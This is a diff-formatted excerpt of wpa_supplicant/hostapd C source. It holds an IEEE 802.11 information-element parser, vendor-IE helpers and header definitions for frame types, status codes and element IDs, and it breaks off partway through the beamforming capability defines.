if (show_errors) {
|
||||
wpa_printf(MSG_DEBUG, "IEEE 802.11 element "
|
||||
"parse failed (id=%d elen=%d "
|
||||
"left=%lu)",
|
||||
id, elen, (unsigned long) left);
|
||||
wpa_hexdump(MSG_MSGDUMP, "IEs", start, len);
|
||||
}
|
||||
return ParseFailed;
|
||||
}
|
||||
|
||||
switch (id) {
|
||||
case WLAN_EID_SSID:
|
||||
elems->ssid = pos;
|
||||
elems->ssid_len = elen;
|
||||
break;
|
||||
case WLAN_EID_SUPP_RATES:
|
||||
elems->supp_rates = pos;
|
||||
elems->supp_rates_len = elen;
|
||||
break;
|
||||
case WLAN_EID_FH_PARAMS:
|
||||
elems->fh_params = pos;
|
||||
elems->fh_params_len = elen;
|
||||
break;
|
||||
case WLAN_EID_DS_PARAMS:
|
||||
elems->ds_params = pos;
|
||||
elems->ds_params_len = elen;
|
||||
break;
|
||||
case WLAN_EID_CF_PARAMS:
|
||||
elems->cf_params = pos;
|
||||
elems->cf_params_len = elen;
|
||||
break;
|
||||
case WLAN_EID_TIM:
|
||||
elems->tim = pos;
|
||||
elems->tim_len = elen;
|
||||
break;
|
||||
case WLAN_EID_IBSS_PARAMS:
|
||||
elems->ibss_params = pos;
|
||||
elems->ibss_params_len = elen;
|
||||
break;
|
||||
case WLAN_EID_CHALLENGE:
|
||||
elems->challenge = pos;
|
||||
elems->challenge_len = elen;
|
||||
break;
|
||||
case WLAN_EID_ERP_INFO:
|
||||
elems->erp_info = pos;
|
||||
elems->erp_info_len = elen;
|
||||
break;
|
||||
case WLAN_EID_EXT_SUPP_RATES:
|
||||
elems->ext_supp_rates = pos;
|
||||
elems->ext_supp_rates_len = elen;
|
||||
break;
|
||||
case WLAN_EID_VENDOR_SPECIFIC:
|
||||
if (ieee802_11_parse_vendor_specific(pos, elen,
|
||||
elems,
|
||||
show_errors))
|
||||
unknown++;
|
||||
break;
|
||||
case WLAN_EID_RSN:
|
||||
elems->rsn_ie = pos;
|
||||
elems->rsn_ie_len = elen;
|
||||
break;
|
||||
case WLAN_EID_PWR_CAPABILITY:
|
||||
elems->power_cap = pos;
|
||||
elems->power_cap_len = elen;
|
||||
break;
|
||||
case WLAN_EID_SUPPORTED_CHANNELS:
|
||||
elems->supp_channels = pos;
|
||||
elems->supp_channels_len = elen;
|
||||
break;
|
||||
case WLAN_EID_MOBILITY_DOMAIN:
|
||||
elems->mdie = pos;
|
||||
elems->mdie_len = elen;
|
||||
break;
|
||||
case WLAN_EID_FAST_BSS_TRANSITION:
|
||||
elems->ftie = pos;
|
||||
elems->ftie_len = elen;
|
||||
break;
|
||||
case WLAN_EID_TIMEOUT_INTERVAL:
|
||||
elems->timeout_int = pos;
|
||||
elems->timeout_int_len = elen;
|
||||
break;
|
||||
case WLAN_EID_HT_CAP:
|
||||
elems->ht_capabilities = pos;
|
||||
elems->ht_capabilities_len = elen;
|
||||
break;
|
||||
case WLAN_EID_HT_OPERATION:
|
||||
elems->ht_operation = pos;
|
||||
elems->ht_operation_len = elen;
|
||||
break;
|
||||
default:
|
||||
unknown++;
|
||||
if (!show_errors)
|
||||
break;
|
||||
wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse "
|
||||
"ignored unknown element (id=%d elen=%d)",
|
||||
id, elen);
|
||||
break;
|
||||
}
|
||||
|
||||
left -= elen;
|
||||
pos += elen;
|
||||
}
|
||||
|
||||
if (left)
|
||||
return ParseFailed;
|
||||
|
||||
return unknown ? ParseUnknown : ParseOK;
|
||||
}
|
||||
|
||||
|
||||
int ieee802_11_ie_count(const u8 *ies, size_t ies_len)
|
||||
{
|
||||
int count = 0;
|
||||
const u8 *pos, *end;
|
||||
|
||||
if (ies == NULL)
|
||||
return 0;
|
||||
|
||||
pos = ies;
|
||||
end = ies + ies_len;
|
||||
|
||||
while (pos + 2 <= end) {
|
||||
if (pos + 2 + pos[1] > end)
|
||||
break;
|
||||
count++;
|
||||
pos += 2 + pos[1];
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len,
|
||||
u32 oui_type)
|
||||
{
|
||||
struct wpabuf *buf;
|
||||
const u8 *end, *pos, *ie;
|
||||
|
||||
pos = ies;
|
||||
end = ies + ies_len;
|
||||
ie = NULL;
|
||||
|
||||
while (pos + 1 < end) {
|
||||
if (pos + 2 + pos[1] > end)
|
||||
return NULL;
|
||||
if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 &&
|
||||
WPA_GET_BE32(&pos[2]) == oui_type) {
|
||||
ie = pos;
|
||||
break;
|
||||
}
|
||||
pos += 2 + pos[1];
|
||||
}
|
||||
|
||||
if (ie == NULL)
|
||||
return NULL; /* No specified vendor IE found */
|
||||
|
||||
buf = wpabuf_alloc(ies_len);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
|
||||
/*
|
||||
* There may be multiple vendor IEs in the message, so need to
|
||||
* concatenate their data fields.
|
||||
*/
|
||||
while (pos + 1 < end) {
|
||||
if (pos + 2 + pos[1] > end)
|
||||
break;
|
||||
if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 &&
|
||||
WPA_GET_BE32(&pos[2]) == oui_type)
|
||||
wpabuf_put_data(buf, pos + 6, pos[1] - 4);
|
||||
pos += 2 + pos[1];
|
||||
}
|
||||
|
||||
return buf;
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
/*
|
||||
* IEEE 802.11 Common routines
|
||||
* Copyright (c) 2002-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef IEEE802_11_COMMON_H
|
||||
#define IEEE802_11_COMMON_H
|
||||
|
||||
/* Parsed Information Elements */
|
||||
struct ieee802_11_elems {
|
||||
const u8 *ssid;
|
||||
const u8 *supp_rates;
|
||||
const u8 *fh_params;
|
||||
const u8 *ds_params;
|
||||
const u8 *cf_params;
|
||||
const u8 *tim;
|
||||
const u8 *ibss_params;
|
||||
const u8 *challenge;
|
||||
const u8 *erp_info;
|
||||
const u8 *ext_supp_rates;
|
||||
const u8 *wpa_ie;
|
||||
const u8 *rsn_ie;
|
||||
const u8 *wmm; /* WMM Information or Parameter Element */
|
||||
const u8 *wmm_tspec;
|
||||
const u8 *wps_ie;
|
||||
const u8 *power_cap;
|
||||
const u8 *supp_channels;
|
||||
const u8 *mdie;
|
||||
const u8 *ftie;
|
||||
const u8 *timeout_int;
|
||||
const u8 *ht_capabilities;
|
||||
const u8 *ht_operation;
|
||||
const u8 *vendor_ht_cap;
|
||||
|
||||
u8 ssid_len;
|
||||
u8 supp_rates_len;
|
||||
u8 fh_params_len;
|
||||
u8 ds_params_len;
|
||||
u8 cf_params_len;
|
||||
u8 tim_len;
|
||||
u8 ibss_params_len;
|
||||
u8 challenge_len;
|
||||
u8 erp_info_len;
|
||||
u8 ext_supp_rates_len;
|
||||
u8 wpa_ie_len;
|
||||
u8 rsn_ie_len;
|
||||
u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */
|
||||
u8 wmm_tspec_len;
|
||||
u8 wps_ie_len;
|
||||
u8 power_cap_len;
|
||||
u8 supp_channels_len;
|
||||
u8 mdie_len;
|
||||
u8 ftie_len;
|
||||
u8 timeout_int_len;
|
||||
u8 ht_capabilities_len;
|
||||
u8 ht_operation_len;
|
||||
u8 vendor_ht_cap_len;
|
||||
};
|
||||
|
||||
typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes;
|
||||
|
||||
ParseRes ieee802_11_parse_elems(const u8 *start, size_t len,
|
||||
struct ieee802_11_elems *elems,
|
||||
int show_errors);
|
||||
int ieee802_11_ie_count(const u8 *ies, size_t ies_len);
|
||||
struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len,
|
||||
u32 oui_type);
|
||||
|
||||
#endif /* IEEE802_11_COMMON_H */
|
|
@ -0,0 +1,607 @@
|
|||
/*
|
||||
* IEEE 802.11 Frame type definitions
|
||||
* Copyright (c) 2002-2009, Jouni Malinen <j@w1.fi>
|
||||
* Copyright (c) 2007-2008 Intel Corporation
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef IEEE802_11_DEFS_H
|
||||
#define IEEE802_11_DEFS_H
|
||||
|
||||
/* IEEE 802.11 defines */
|
||||
|
||||
#define WLAN_FC_PVER 0x0003
|
||||
#define WLAN_FC_TODS 0x0100
|
||||
#define WLAN_FC_FROMDS 0x0200
|
||||
#define WLAN_FC_MOREFRAG 0x0400
|
||||
#define WLAN_FC_RETRY 0x0800
|
||||
#define WLAN_FC_PWRMGT 0x1000
|
||||
#define WLAN_FC_MOREDATA 0x2000
|
||||
#define WLAN_FC_ISWEP 0x4000
|
||||
#define WLAN_FC_ORDER 0x8000
|
||||
|
||||
#define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2)
|
||||
#define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4)
|
||||
|
||||
#define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0)))
|
||||
#define WLAN_GET_SEQ_SEQ(seq) \
|
||||
(((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4)
|
||||
|
||||
#define WLAN_FC_TYPE_MGMT 0
|
||||
#define WLAN_FC_TYPE_CTRL 1
|
||||
#define WLAN_FC_TYPE_DATA 2
|
||||
|
||||
/* management */
|
||||
#define WLAN_FC_STYPE_ASSOC_REQ 0
|
||||
#define WLAN_FC_STYPE_ASSOC_RESP 1
|
||||
#define WLAN_FC_STYPE_REASSOC_REQ 2
|
||||
#define WLAN_FC_STYPE_REASSOC_RESP 3
|
||||
#define WLAN_FC_STYPE_PROBE_REQ 4
|
||||
#define WLAN_FC_STYPE_PROBE_RESP 5
|
||||
#define WLAN_FC_STYPE_BEACON 8
|
||||
#define WLAN_FC_STYPE_ATIM 9
|
||||
#define WLAN_FC_STYPE_DISASSOC 10
|
||||
#define WLAN_FC_STYPE_AUTH 11
|
||||
#define WLAN_FC_STYPE_DEAUTH 12
|
||||
#define WLAN_FC_STYPE_ACTION 13
|
||||
|
||||
/* control */
|
||||
#define WLAN_FC_STYPE_PSPOLL 10
|
||||
#define WLAN_FC_STYPE_RTS 11
|
||||
#define WLAN_FC_STYPE_CTS 12
|
||||
#define WLAN_FC_STYPE_ACK 13
|
||||
#define WLAN_FC_STYPE_CFEND 14
|
||||
#define WLAN_FC_STYPE_CFENDACK 15
|
||||
|
||||
/* data */
|
||||
#define WLAN_FC_STYPE_DATA 0
|
||||
#define WLAN_FC_STYPE_DATA_CFACK 1
|
||||
#define WLAN_FC_STYPE_DATA_CFPOLL 2
|
||||
#define WLAN_FC_STYPE_DATA_CFACKPOLL 3
|
||||
#define WLAN_FC_STYPE_NULLFUNC 4
|
||||
#define WLAN_FC_STYPE_CFACK 5
|
||||
#define WLAN_FC_STYPE_CFPOLL 6
|
||||
#define WLAN_FC_STYPE_CFACKPOLL 7
|
||||
#define WLAN_FC_STYPE_QOS_DATA 8
|
||||
|
||||
/* Authentication algorithms */
|
||||
#define WLAN_AUTH_OPEN 0
|
||||
#define WLAN_AUTH_SHARED_KEY 1
|
||||
#define WLAN_AUTH_FT 2
|
||||
#define WLAN_AUTH_LEAP 128
|
||||
|
||||
#define WLAN_AUTH_CHALLENGE_LEN 128
|
||||
|
||||
#define WLAN_CAPABILITY_ESS BIT(0)
|
||||
#define WLAN_CAPABILITY_IBSS BIT(1)
|
||||
#define WLAN_CAPABILITY_CF_POLLABLE BIT(2)
|
||||
#define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3)
|
||||
#define WLAN_CAPABILITY_PRIVACY BIT(4)
|
||||
#define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5)
|
||||
#define WLAN_CAPABILITY_PBCC BIT(6)
|
||||
#define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7)
|
||||
#define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8)
|
||||
#define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10)
|
||||
#define WLAN_CAPABILITY_DSSS_OFDM BIT(13)
|
||||
|
||||
/* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */
|
||||
#define WLAN_STATUS_SUCCESS 0
|
||||
#define WLAN_STATUS_UNSPECIFIED_FAILURE 1
|
||||
#define WLAN_STATUS_CAPS_UNSUPPORTED 10
|
||||
#define WLAN_STATUS_REASSOC_NO_ASSOC 11
|
||||
#define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12
|
||||
#define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13
|
||||
#define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14
|
||||
#define WLAN_STATUS_CHALLENGE_FAIL 15
|
||||
#define WLAN_STATUS_AUTH_TIMEOUT 16
|
||||
#define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17
|
||||
#define WLAN_STATUS_ASSOC_DENIED_RATES 18
|
||||
/* IEEE 802.11b */
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21
|
||||
/* IEEE 802.11h */
|
||||
#define WLAN_STATUS_SPEC_MGMT_REQUIRED 22
|
||||
#define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23
|
||||
#define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24
|
||||
/* IEEE 802.11g */
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NO_ER_PBCC 26
|
||||
#define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 27
|
||||
#define WLAN_STATUS_R0KH_UNREACHABLE 28
|
||||
/* IEEE 802.11w */
|
||||
#define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30
|
||||
#define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31
|
||||
#define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32
|
||||
#define WLAN_STATUS_REQUEST_DECLINED 37
|
||||
#define WLAN_STATUS_INVALID_PARAMETERS 38
|
||||
/* IEEE 802.11i */
|
||||
#define WLAN_STATUS_INVALID_IE 40
|
||||
#define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41
|
||||
#define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42
|
||||
#define WLAN_STATUS_AKMP_NOT_VALID 43
|
||||
#define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44
|
||||
#define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45
|
||||
#define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46
|
||||
#define WLAN_STATUS_TS_NOT_CREATED 47
|
||||
#define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48
|
||||
#define WLAN_STATUS_DEST_STA_NOT_PRESENT 49
|
||||
#define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50
|
||||
#define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51
|
||||
/* IEEE 802.11r */
|
||||
#define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52
|
||||
#define WLAN_STATUS_INVALID_PMKID 53
|
||||
#define WLAN_STATUS_INVALID_MDIE 54
|
||||
#define WLAN_STATUS_INVALID_FTIE 55
|
||||
|
||||
/* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */
|
||||
#define WLAN_REASON_UNSPECIFIED 1
|
||||
#define WLAN_REASON_PREV_AUTH_NOT_VALID 2
|
||||
#define WLAN_REASON_DEAUTH_LEAVING 3
|
||||
#define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4
|
||||
#define WLAN_REASON_DISASSOC_AP_BUSY 5
|
||||
#define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6
|
||||
#define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7
|
||||
#define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8
|
||||
#define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9
|
||||
/* IEEE 802.11h */
|
||||
#define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10
|
||||
#define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11
|
||||
/* IEEE 802.11i */
|
||||
#define WLAN_REASON_INVALID_IE 13
|
||||
#define WLAN_REASON_MICHAEL_MIC_FAILURE 14
|
||||
#define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15
|
||||
#define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16
|
||||
#define WLAN_REASON_IE_IN_4WAY_DIFFERS 17
|
||||
#define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18
|
||||
#define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19
|
||||
#define WLAN_REASON_AKMP_NOT_VALID 20
|
||||
#define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21
|
||||
#define WLAN_REASON_INVALID_RSN_IE_CAPAB 22
|
||||
#define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23
|
||||
#define WLAN_REASON_CIPHER_SUITE_REJECTED 24
|
||||
|
||||
|
||||
/* Information Element IDs */
|
||||
#define WLAN_EID_SSID 0
|
||||
#define WLAN_EID_SUPP_RATES 1
|
||||
#define WLAN_EID_FH_PARAMS 2
|
||||
#define WLAN_EID_DS_PARAMS 3
|
||||
#define WLAN_EID_CF_PARAMS 4
|
||||
#define WLAN_EID_TIM 5
|
||||
#define WLAN_EID_IBSS_PARAMS 6
|
||||
#define WLAN_EID_COUNTRY 7
|
||||
#define WLAN_EID_CHALLENGE 16
|
||||
/* EIDs defined by IEEE 802.11h - START */
|
||||
#define WLAN_EID_PWR_CONSTRAINT 32
|
||||
#define WLAN_EID_PWR_CAPABILITY 33
|
||||
#define WLAN_EID_TPC_REQUEST 34
|
||||
#define WLAN_EID_TPC_REPORT 35
|
||||
#define WLAN_EID_SUPPORTED_CHANNELS 36
|
||||
#define WLAN_EID_CHANNEL_SWITCH 37
|
||||
#define WLAN_EID_MEASURE_REQUEST 38
|
||||
#define WLAN_EID_MEASURE_REPORT 39
|
||||
#define WLAN_EID_QUITE 40
|
||||
#define WLAN_EID_IBSS_DFS 41
|
||||
/* EIDs defined by IEEE 802.11h - END */
|
||||
#define WLAN_EID_ERP_INFO 42
|
||||
#define WLAN_EID_HT_CAP 45
|
||||
#define WLAN_EID_RSN 48
|
||||
#define WLAN_EID_EXT_SUPP_RATES 50
|
||||
#define WLAN_EID_MOBILITY_DOMAIN 54
|
||||
#define WLAN_EID_FAST_BSS_TRANSITION 55
|
||||
#define WLAN_EID_TIMEOUT_INTERVAL 56
|
||||
#define WLAN_EID_RIC_DATA 57
|
||||
#define WLAN_EID_HT_OPERATION 61
|
||||
#define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62
|
||||
#define WLAN_EID_20_40_BSS_COEXISTENCE 72
|
||||
#define WLAN_EID_20_40_BSS_INTOLERANT 73
|
||||
#define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74
|
||||
#define WLAN_EID_MMIE 76
|
||||
#define WLAN_EID_VENDOR_SPECIFIC 221
|
||||
|
||||
|
||||
/* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 7-24) */
|
||||
#define WLAN_ACTION_SPECTRUM_MGMT 0
|
||||
#define WLAN_ACTION_QOS 1
|
||||
#define WLAN_ACTION_DLS 2
|
||||
#define WLAN_ACTION_BLOCK_ACK 3
|
||||
#define WLAN_ACTION_PUBLIC 4
|
||||
#define WLAN_ACTION_RADIO_MEASUREMENT 5
|
||||
#define WLAN_ACTION_FT 6
|
||||
#define WLAN_ACTION_HT 7
|
||||
#define WLAN_ACTION_SA_QUERY 8
|
||||
#define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */
|
||||
|
||||
/* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */
|
||||
#define WLAN_SA_QUERY_REQUEST 0
|
||||
#define WLAN_SA_QUERY_RESPONSE 1
|
||||
|
||||
#define WLAN_SA_QUERY_TR_ID_LEN 2
|
||||
|
||||
/* Timeout Interval Type */
|
||||
#define WLAN_TIMEOUT_REASSOC_DEADLINE 1
|
||||
#define WLAN_TIMEOUT_KEY_LIFETIME 2
|
||||
#define WLAN_TIMEOUT_ASSOC_COMEBACK 3
|
||||
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(push, 1)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
struct ieee80211_hdr {
|
||||
le16 frame_control;
|
||||
le16 duration_id;
|
||||
u8 addr1[6];
|
||||
u8 addr2[6];
|
||||
u8 addr3[6];
|
||||
le16 seq_ctrl;
|
||||
/* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame
|
||||
*/
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#define IEEE80211_DA_FROMDS addr1
|
||||
#define IEEE80211_BSSID_FROMDS addr2
|
||||
#define IEEE80211_SA_FROMDS addr3
|
||||
|
||||
#define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr))
|
||||
|
||||
#define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4))
|
||||
|
||||
struct ieee80211_mgmt {
|
||||
le16 frame_control;
|
||||
le16 duration;
|
||||
u8 da[6];
|
||||
u8 sa[6];
|
||||
u8 bssid[6];
|
||||
le16 seq_ctrl;
|
||||
union {
|
||||
struct {
|
||||
le16 auth_alg;
|
||||
le16 auth_transaction;
|
||||
le16 status_code;
|
||||
/* possibly followed by Challenge text */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED auth;
|
||||
struct {
|
||||
le16 reason_code;
|
||||
} STRUCT_PACKED deauth;
|
||||
struct {
|
||||
le16 capab_info;
|
||||
le16 listen_interval;
|
||||
/* followed by SSID and Supported rates */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED assoc_req;
|
||||
struct {
|
||||
le16 capab_info;
|
||||
le16 status_code;
|
||||
le16 aid;
|
||||
/* followed by Supported rates */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED assoc_resp, reassoc_resp;
|
||||
struct {
|
||||
le16 capab_info;
|
||||
le16 listen_interval;
|
||||
u8 current_ap[6];
|
||||
/* followed by SSID and Supported rates */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED reassoc_req;
|
||||
struct {
|
||||
le16 reason_code;
|
||||
} STRUCT_PACKED disassoc;
|
||||
struct {
|
||||
u8 timestamp[8];
|
||||
le16 beacon_int;
|
||||
le16 capab_info;
|
||||
/* followed by some of SSID, Supported rates,
|
||||
* FH Params, DS Params, CF Params, IBSS Params, TIM */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED beacon;
|
||||
struct {
|
||||
/* only variable items: SSID, Supported rates */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED probe_req;
|
||||
struct {
|
||||
u8 timestamp[8];
|
||||
le16 beacon_int;
|
||||
le16 capab_info;
|
||||
/* followed by some of SSID, Supported rates,
|
||||
* FH Params, DS Params, CF Params, IBSS Params */
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED probe_resp;
|
||||
struct {
|
||||
u8 category;
|
||||
union {
|
||||
struct {
|
||||
u8 action_code;
|
||||
u8 dialog_token;
|
||||
u8 status_code;
|
||||
u8 variable[0];
|
||||
} STRUCT_PACKED wmm_action;
|
||||
struct{
|
||||
u8 action_code;
|
||||
u8 element_id;
|
||||
u8 length;
|
||||
u8 switch_mode;
|
||||
u8 new_chan;
|
||||
u8 switch_count;
|
||||
} STRUCT_PACKED chan_switch;
|
||||
struct {
|
||||
u8 action;
|
||||
u8 sta_addr[ETH_ALEN];
|
||||
u8 target_ap_addr[ETH_ALEN];
|
||||
u8 variable[0]; /* FT Request */
|
||||
} STRUCT_PACKED ft_action_req;
|
||||
struct {
|
||||
u8 action;
|
||||
u8 sta_addr[ETH_ALEN];
|
||||
u8 target_ap_addr[ETH_ALEN];
|
||||
le16 status_code;
|
||||
u8 variable[0]; /* FT Request */
|
||||
} STRUCT_PACKED ft_action_resp;
|
||||
struct {
|
||||
u8 action;
|
||||
u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN];
|
||||
} STRUCT_PACKED sa_query_req;
|
||||
struct {
|
||||
u8 action; /* */
|
||||
u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN];
|
||||
} STRUCT_PACKED sa_query_resp;
|
||||
} u;
|
||||
} STRUCT_PACKED action;
|
||||
} u;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
struct ieee80211_ht_capabilities {
|
||||
le16 ht_capabilities_info;
|
||||
u8 a_mpdu_params;
|
||||
u8 supported_mcs_set[16];
|
||||
le16 ht_extended_capabilities;
|
||||
le32 tx_bf_capability_info;
|
||||
u8 asel_capabilities;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
struct ieee80211_ht_operation {
|
||||
u8 control_chan;
|
||||
u8 ht_param;
|
||||
le16 operation_mode;
|
||||
le16 stbc_param;
|
||||
u8 basic_set[16];
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(pop)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#define ERP_INFO_NON_ERP_PRESENT BIT(0)
|
||||
#define ERP_INFO_USE_PROTECTION BIT(1)
|
||||
#define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2)
|
||||
|
||||
|
||||
#define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0))
|
||||
#define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1))
|
||||
#define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3)))
|
||||
#define HT_CAP_INFO_SMPS_STATIC ((u16) 0)
|
||||
#define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2))
|
||||
#define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3)))
|
||||
#define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4))
|
||||
#define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5))
|
||||
#define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6))
|
||||
#define HT_CAP_INFO_TX_STBC ((u16) BIT(7))
|
||||
#define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9)))
|
||||
#define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8))
|
||||
#define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9))
|
||||
#define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9)))
|
||||
#define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10))
|
||||
#define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11))
|
||||
#define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12))
|
||||
#define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13))
|
||||
#define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14))
|
||||
#define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15))
|
||||
|
||||
|
||||
#define EXT_HT_CAP_INFO_PCO ((u16) BIT(0))
|
||||
#define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1
|
||||
#define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8
|
||||
#define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10))
|
||||
#define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11))
|
||||
|
||||
|
||||
#define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0))
|
||||
#define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1))
|
||||
#define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2))
|
||||
#define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3))
|
||||
#define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4))
|
||||
#define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5))
|
||||
#define TX_BEAMFORM_CAP_CALIB_OFFSET 6
|
||||
#define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8))
|
||||
#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9))
|
||||
#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10))
|
||||
#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11
|
||||
#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13
|
||||
